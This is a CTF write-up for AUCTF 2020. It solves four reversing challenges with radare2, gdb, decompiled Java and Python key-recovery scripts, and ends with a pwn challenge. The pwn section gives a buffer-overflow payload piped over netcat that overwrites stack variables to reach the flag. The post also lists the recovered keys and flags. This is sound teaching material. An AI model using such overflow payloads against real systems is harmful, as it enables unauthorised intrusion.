Posts AUCTF 2020
Post
Cancel

AUCTF 2020

AUCTF 2020 has ended, and me and my team P1rates really enjoyed it as it was full of good problems, here’s my writeup about some of the problems that i solved.

Challenges

TitleCategory
Cracker BarrelReversing
Mr. Game and WatchReversing
SoraReversing
Don’t Break MeReversing
Thanksgiving DinnerPwn

Cracker Barrel

Reversing

Description

I found a USB drive under the checkers board at cracker barrel. My friends told me not to plug it in but surely nothing bad is on it?
I found this file, but I can’t seem to unlock it’s secrets. Can you help me out?

Also.. once you think you’ve got it I think you should try to connect to challenges.auctf.com at port 30000 not sure what that means, but it written on the flash drive..

Solution

Firstly we start by strings command and obviously the flag isn’t there so we do file command we will find it’s ELF 64-bit, dynamically linked and not stripped.

let’s do some radare2 stuff

1
2
$ r2 -AA cracker_barrel
[0x00001180]> afl

well, here we find some interesting function names like:

1
2
3
4
5
6
main
sym.check
sym.check_1
sym.check_2
sym.check_3
sym.print_flag

then seeking to the main and entering the visual mode:

1
2
[0x00001180]> s main
[0x000012b5]> VV

we notice that main calls sym.check and then test eax, eax and the je if it’s false then it calls sym.print_flag .. So whatever happens inside check() function it MUST return a non-zero value so we can get the flag!

By digging into check() function we see clearly the it takes the user input and calls check_1() function and if the return is zero it returns zero (which we don’t need to happend), Otherwise it continues to call the second check which is check_2() and so on with check_3() .. so we need to make sure to return a non-zero value from these functions too

Now going deeper inside check_1():

r2 screenshot

as we see clearly it takes the user input in s1 variable, then “starwars” in s2 and compares them if they’re equal then it goes to the second check which compares the user input with “startrek” if they’re NOT equal it returns 1

So all we need to do is passing “starwars” as first input and by that we passed the first check!

Now we go to check_2() function in visual mode we’ll find there’s a string “si siht egassem terces” that get modified by some operations and then compared to our second input

r2 screenshot

as seen in the photo above we can make a breakpoint in the cmp instruction and examine the 2 strings I’ll use gdb for the debugging:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ gdb cracker_barrel
(gdb) set disassembly-flavor intel
(gdb) disass check_2
   ..
   0x0000000000001553 <+132>:	mov    rsi,rdx
   0x0000000000001556 <+135>:	mov    rdi,rax
   0x0000000000001559 <+138>:	call   0x1130
   ..

(gdb) b *check_2+138
Breakpoint 1 at 0x1559

(gdb) r
Give me a key!
starwars
You have passed the first test! Now I need another key!
AAAA

Breakpoint 1, 0x0000555555555559 in check_2 ()

Now we hit the breakpoint on the comparing point now by examining rsi and rdi:

1
2
3
4
(gdb) x/wx $rsi
0x7fffffffc540:	0x41414141
(gdb) x/2wx $rdi
0x555555559420:	0x73692073	0x00000000

Clearly rsi is our input and rdi is how our input must be! which represents “s is” as a string (in little endian)! And this our second input!

Now heading to our final check which is check_3 function() in visual mode .. we se a string “z!!b6~wn&`” passed seperately to variables then it iterates through each character in the user input string and encrypt it as follows:

r2 screenshot

The encryption method:

  • take each character and add 0x2 to its hexadecimal value
  • XOR the result with 0x14

And then compare the n-th character in the resulting string with the n-th character in “z!!b6~wn&`” string. Our goal now is clear which is to decrypt “z!!b6~wn&`” string:

1
2
3
4
5
6
7
secret = "z!!b6~wn&`"
result = ""

for c in secret:
    result += chr((ord(c) ^ 0x14) - 0x2)

print(result)

Now by running it:

1
2
$ python3 decrypt.py
l33t hax0r

And that’s our third input! Now by connecting to the server to get the flag:

1
2
3
4
5
6
7
8
9
$ nc challenges.auctf.com 30000
Give me a key!
starwars
You have passed the first test! Now I need another key!
s is
Nice work! You've passes the second test, we aren't done yet!
l33t hax0r
Congrats you finished! Here is your flag!
auctf{w3lc0m3_to_R3_1021}

Flag: auctf{w3lc0m3_to_R3_1021}


Mr. Game and Watch

Reversing

Description

My friend is learning some wacky new interpreted language and different hashing algorithms. He’s hidden a flag inside this program but I cant find it…

He told me to connect to challenges.auctf.com 30001 once I figured it out though.

Solution

First, we need to decompile the .class file to get its java source .. i used CFR java decompiler:

1
$ java -jar ~/cfr-0.149.jar mr_game_and_watch.class > mr_game_and_watch.java

and this was the resulting source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Scanner;

public class mr_game_and_watch {
    public static String secret_1 = "d5c67e2fc5f5f155dff8da4bdc914f41";
    public static int[] secret_2 = new int[]{114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118};
    public static int[] secret_3 = new int[]{268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266};
    public static int key_2 = 64;
    public static int key_3 = 313;

    public static void main(String[] arrstring) {
        System.out.println("Welcome to the Land of Interpreted Languages!");
        System.out.println("If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be!");
        System.out.println("\nUnfortunately, if you hate Java, this may suck...");
        System.out.println("Good luck!\n");
        if (mr_game_and_watch.crackme()) {
            mr_game_and_watch.print_flag();
        }
    }

    private static boolean crackme() {
        Scanner scanner = new Scanner(System.in);
        if (mr_game_and_watch.crack_1((Scanner)scanner) && mr_game_and_watch.crack_2((Scanner)scanner) && mr_game_and_watch.crack_3((Scanner)scanner)) {
            System.out.println("That's correct!");
            scanner.close();
            return true;
        }
        System.out.println("Nope that's not right!");
        scanner.close();
        return false;
    }

    private static boolean crack_1(Scanner scanner) {
        System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this");
        System.out.println("\t" + secret_1);
        System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t");
        String string = scanner.nextLine();
        String string2 = mr_game_and_watch.hash((String)string, (String)"MD5");
        return string2.compareTo(secret_1) == 0;
    }

    private static boolean crack_2(Scanner scanner) {
        System.out.println("Nice work! One down, two to go ...");
        System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t");
        String string = scanner.nextLine();
        return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0;
    }

    private static boolean crack_3(Scanner scanner) {
        System.out.print("Nice work! Here's the last one...\n\t");
        String string = scanner.nextLine();
        String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256");
        int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3);
        return Arrays.equals(arrn, secret_3);
    }

    private static int[] encrypt(String string, int n) {
        int[] arrn = new int[string.length()];
        for (int i = 0; i < string.length(); ++i) {
            arrn[i] = string.charAt(i) ^ n;
        }
        return arrn;
    }

    private static String decrypt(int[] arrn, int n) {
        Object object = "";
        for (int i = 0; i < arrn.length; ++i) {
            object = (String)object + (char)(arrn[i] ^ n);
        }
        return object;
    }

    private static void print_flag() {
        String string = "flag.txt";
        try (BufferedReader bufferedReader = new BufferedReader(new FileReader(string));){
            String string2;
            while ((string2 = bufferedReader.readLine()) != null) {
                System.out.println(string2);
            }
        }
        catch (IOException iOException) {
            System.out.println("Could not find file please notify admin");
        }
    }

    public static String hash(String string, String string2) {
        String string3 = null;
        try {
            MessageDigest messageDigest = MessageDigest.getInstance(string2);
            byte[] arrby = messageDigest.digest(string.getBytes("UTF-8"));
            StringBuilder stringBuilder = new StringBuilder(2 * arrby.length);
            for (byte by : arrby) {
                stringBuilder.append(String.format("%02x", by & 0xFF));
            }
            string3 = stringBuilder.toString();
        }
        catch (Exception exception) {
            System.out.println("broke");
        }
        return string3;
    }
}

After reading the source code we clearly see that in order to call print_flag() function crackme() function MUST return true which will happen only if crack_1(), crack_2() and crack_3() functions are true .. So let’s make those guys true!

  • crack_1():
    1
    2
    3
    4
    5
    6
    7
    8
    
      private static boolean crack_1(Scanner scanner) {
          System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this");
          System.out.println("\t" + secret_1);
          System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t");
          String string = scanner.nextLine();
          String string2 = mr_game_and_watch.hash((String)string, (String)"MD5");
          return string2.compareTo(secret_1) == 0;
      }
    

That’s easy .. the input gets encrypted using MD5 and then compared to secret_1 variable if they’re equal it returns true we need to decrypt secret_1 value and that will be our first key!

I used this site for that:

decrypt MD5

Nice! masterchief is our first input we got one .. two to go!

  • crack_2():
    1
    2
    3
    4
    5
    6
    
      private static boolean crack_2(Scanner scanner) {
          System.out.println("Nice work! One down, two to go ...");
          System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t");
          String string = scanner.nextLine();
          return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0;
      }
    

Well, here it takes our input -> encrypt it using SHA1 -> compare it to the decrypted secret_2 value using decrypt() function

Now by thinking reverse! we need to: decrypt secret_2 value -> decrypt the result using SHA1 -> and that’s our input!

The equivalent python code of decrypt() function is:

1
2
3
4
5
6
7
8
9
10
11
12
secret = [114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118]

key = 64

def decrypt(a, k):
    result = ""
    for i in range (0, len(a)):
        result += chr(a[i] ^ k)

    return result

print(decrypt(secret, key))

Now running it:

1
2
$ python3 decrypt.py
264212deff89ade15661a59e7b632872d858f2c6

Now decrypting this SHA1 using the same site:

decrypt SHA1

Great! princesspeach is our second input .. only one left!

  • crack_3():
    1
    2
    3
    4
    5
    6
    7
    8
    
      private static boolean crack_3(Scanner scanner) {
          System.out.print("Nice work! Here's the last one...\n\t");
          String string = scanner.nextLine();
          String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256");
          int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3);
          return Arrays.equals(arrn, secret_3);
      }
    

So it takes our input -> encrypt it using SHA256 -> encrypt it using encrypt() function -> compare the result with secret_3 array

thinking reverse we should: take the secret_3 array -> decrypt it using the reverse of encrypt() function -> decrypt the resulting SHA256 hash

The encrypt() function just XOR each character with 313 value and that’s the equivalent python code:

1
2
3
4
5
6
7
8
9
10
11
12
secret = [268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266]

key = 313

def decrypt(a, n):
    myStr = ""
    for i in range (0, len(a)):
        myStr += chr(a[i] ^ key)

    return myStr

print(decrypt(secret, key))

Now running it:

1
2
$ python3 decrypt2.py
5ebb49e499a6613e832e433a2722edd0d2947d56fdb4d684af0f06c631fdf633

Then i used this site to decrypt the result:

decrypt SHA256

Finally! Our third input is solidsnake

Now connecting to the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nc challenges.auctf.com 30001

Welcome to the Land of Interpreted Languages!
If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be!

Unfortunately, if you hate Java, this may suck...
Good luck!

Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this
	d5c67e2fc5f5f155dff8da4bdc914f41
Think you can crack it? If so give me the value that hashes to that!
	masterchief
Nice work! One down, two to go ...
This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!
	princesspeach
Nice work! Here's the last one...
	solidsnake
That's correct!
auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}

Flag: auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}


Sora

Reversing

Description

This obnoxious kid with spiky hair keeps telling me his key can open all doors.
Can you generate a key to open this program before he does?

Connect to challenges.auctf.com 30004

Solution

As usual using file command it appears it’s a 64-bit ELF file, dynamically linked and not stripped and with strings command we find an interesting part:

1
2
3
4
5
6
7
8
$ strings sora
..
aQLpavpKQcCVpfcg
Give me a key!
That's not it!
flag.txt
Too bad you can only run this exploit on the server...
..

as a first assumption maybe aQLpavpKQcCVpfcg string is some sort of an encrypted key or something

Alright, let’s put this into radare2

1
2
3
4
5
6
7
8
9
10
$ r2 -AA sora
[0x00001140]> afl
..
0x000012dd    7 171          sym.encrypt
0x00001430    4 101          sym.__libc_csu_init
0x00001229    6 180          main
..

[0x00001140]> s main
[0x00001229]> VV

In the visual mode we can see the encrypt() function gets called after the user enters an input:

r2 screenshot

If eax register does NOT equal zero then it prints the flag .. whatever happens in encrypt() function it MUST returns a non-zero value

Now moving to IDA pro to see the decompilation of encrypt() function:

IDA pro screenshot

The function simply encrypts the character and if it doesn’t equal the equivalent character in the secret variable it return 0 which we don’t want to happen

the secret variable has the value of our interesting string aQLpavpKQcCVpfcg:

IDA pro screenshot

Now i wrote this python script which iterates through each character in the secret variable string and finds the printable character that satisfies the if condition:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
secret = "aQLpavpKQcCVpfcg"

def getkeychar(a):

    # iterates through the printable characters only
    for x in range(ord(' '), ord('~')):
        if chr((8 * x + 19)%61 + 65) == a:
            return chr(x)

key = ""
for i in range (0, len(secret)):
    key += getkeychar(secret[i])

print(key)

Now running it gives us the key:

1
2
$ python3 key.py
75<"72"%5($."0(G

Now connecting to the server:

1
2
3
4
$ nc challenges.auctf.com 30004
Give me a key!
75<"72"%5($."0(G
auctf{that_w@s_2_ezy_29302}

Flag: auctf{that_w@s_2_ezy_29302}


Don’t Break Me

Reversing

Description

I’ve been working on my anti-reversing lately. See if you can get this flag!

Connect at challenges.auctf.com 30005

Solution

Alright, with file command we know it’s 32-bit ELF file, dynamically linked and not stripped .. and with strings command there’s nothing interesting

Now it’s time for radare2:

1
2
3
4
5
6
7
8
9
$ r2 -AA dont-break-me
[0x000010e0]> afl
..
0x000015a1    7 224          sym.decrypt
0x0000138a    6 102          sym.get_string
0x000014cf    7 210          sym.encrypt
0x00001681    6 117          sym.inverse
0x00001272    4 280          main
..

Those function names sound interesting let’s start with main() function:

r2 screenshot

It seems that the program takes the user input then removes the newline character at the end, then pushes it as an argument to encrypt() function and put the result in s2 variable .. after that it allocates a new memory using calloc() built-in function and returns the address to s1 which is passed to get_string() function as an argument to load a string .. afterwards there’s a compare so s1 MUST be equal s2

So overall we need to reverse that as follows:

  • See the get_string() function and get the string which is loaded to s1
  • Decrypt that string using decrypt() function
  • Input the result in order to get the flag

So far so good .. we’ll start with decompiling get_string() function using IDA pro:

IDA pro screenshot

It’s clear that it iterates from 0 to 31 and with this if condition it only loads the even indexed characters (e.x. 0, 2, 4, …) from blah variable backwoards in the a1 variable

And this is the value of blah variable:

IDA pro screenshot

Which is XAPRMXCSBCEDISBVXISXWERJRWSZARSQ

Next, the decrypt() function:

IDA pro screenshot

Clearly, it takes the user input string with two argument which, from analysing the code, are 12, 17 consecutively then iterates through each character and decrypt it using a formula which appears to be the Affine Cipher

Finally the inverse() function:

IDA pro screenshot

Simple enough! .. Now by combining our understanding of the previous functions i came up with this python script which is equivalent of all we said

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def get_string(s):
    u = list(s)
    result = []

    for i in range (0, len(u)):
        if i % 2 == 0:
            result.append(u[i])

    result.reverse()
    return ''.join(result)

def inverse(a):
    n = 0
    for i in range (0, 26):
        if i * a % 26 == 1:
            n = i

    return n

def decrypt(s, a, k):
    x = ""

    inv = inverse(a)

    for i in s:
        # check if the character is a space
        if ord(i) == 32:
            x += i
        else:
            x += chr(inv * (ord(i) + 65 - k)%26 + 65)
    return x

secret = "XAPRMXCSBCEDISBVXISXWERJRWSZARSQ"
a = 17
k = 12

secret = get_string(secret)

key = decrypt(secret, a, k)

print(key)

Now by running this script it should give us the key:

1
2
$ python3 decrypt.py
IKILLWITHMYHEART

Now connecting to the server:

1
2
3
4
$ nc challenges.auctf.com 30005
54 68 65 20 6d 61 6e 20 69 6e 20 62 6c 61 63 6b 20 66 6c 65 64 20 61 63 72 6f 73 73 20 74 68 65 20 64 65 73 65 72 74 2c 20 61 6e 64 20 74 68 65 20 67 75 6e 73 6c 69 6e 67 65 72 20 66 6f 6c 6c 6f 77 65 64 2e
Input: IKILLWITHMYHEART
auctf{static_or_dyn@mIc?_12923}

Flag: auctf{static_or_dyn@mIc?_12923}


Thanksgiving Dinner

Pwn

Description

I just ate a huge dinner. I can barley eat anymore… so please don’t give me too much!
nc challenges.auctf.com 30011
Note: ASLR is disabled for this challenge

Solution

Nice! by doing file command we know it’s 32-bit ELF file, dynamically linked and not stripped and with strings command nothing really interesting

And with radare2:

1
2
3
4
5
6
$ r2 -AA turkey
[0x000010c0]> afl
..
0x000011f9    1 87           main
0x00001250    7 198          sym.vulnerable
..

Those are interesting functions .. the main only puts a text and then calls vulnerable() function which makes 5 checks if they’re all true it prints out the flag!:

r2 screenshot

We go to gdb-peda for a better memory examine and debugging:

1
2
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disass vulnerable
gdb-peda screenshot

We see fgets length is 0x24 which is 36, so we put a breakpoint after fgets that will allow us to examine the memory right after we enter the input.

And by running the file and enters AAAA as input:

gdb-peda screenshot

We can see that eax register is pointing to 0xbffff14c address and by examining the memory at this location and all the addresses in the comparisons:

gdb-peda screenshot

GREAT! Now we can overwrite those values to pass the checks .. and these are the 5 checks:

gdb-peda screenshot
  • Red 0xbffff16c MUST EQUAL 0x1337
  • Green 0xbffff168 MUST BE LESS THAN 0xffffffec (= -20)
  • Yellow 0xbffff160 MUST NOT EQUAL 0x14
  • Pink 0xbffff164 MUST EQUAL 0x667463
  • Orange 0xbffff15c MUST EQUAL 0x2a

Now our payload is:

1
2
3
>>> from pwn import p32
>>> 'A'*16 + p32(0x2a) + p32(0x20) + p32(0x667463) + p32(0xffffffec - 10) + p32(0x1337)
'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'

Now we can pipe it to the server:

1
2
3
4
5
6
7
8
9
10
11
$ python -c "print 'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'" | nc challenges.auctf.com 30011
Hi!
Welcome to my program... it's a little buggy...
Hey I heard you are searching for flags! Well I've got one. :)
Here you can have part of it!
auctf{

Sorry that's all I got!

Wait... you aren't supposed to be here!!
auctf{I_s@id_1_w@s_fu11!}

Flag: auctf{I_s@id_1_w@s_fu11!}

This post is licensed under CC BY 4.0 by the author.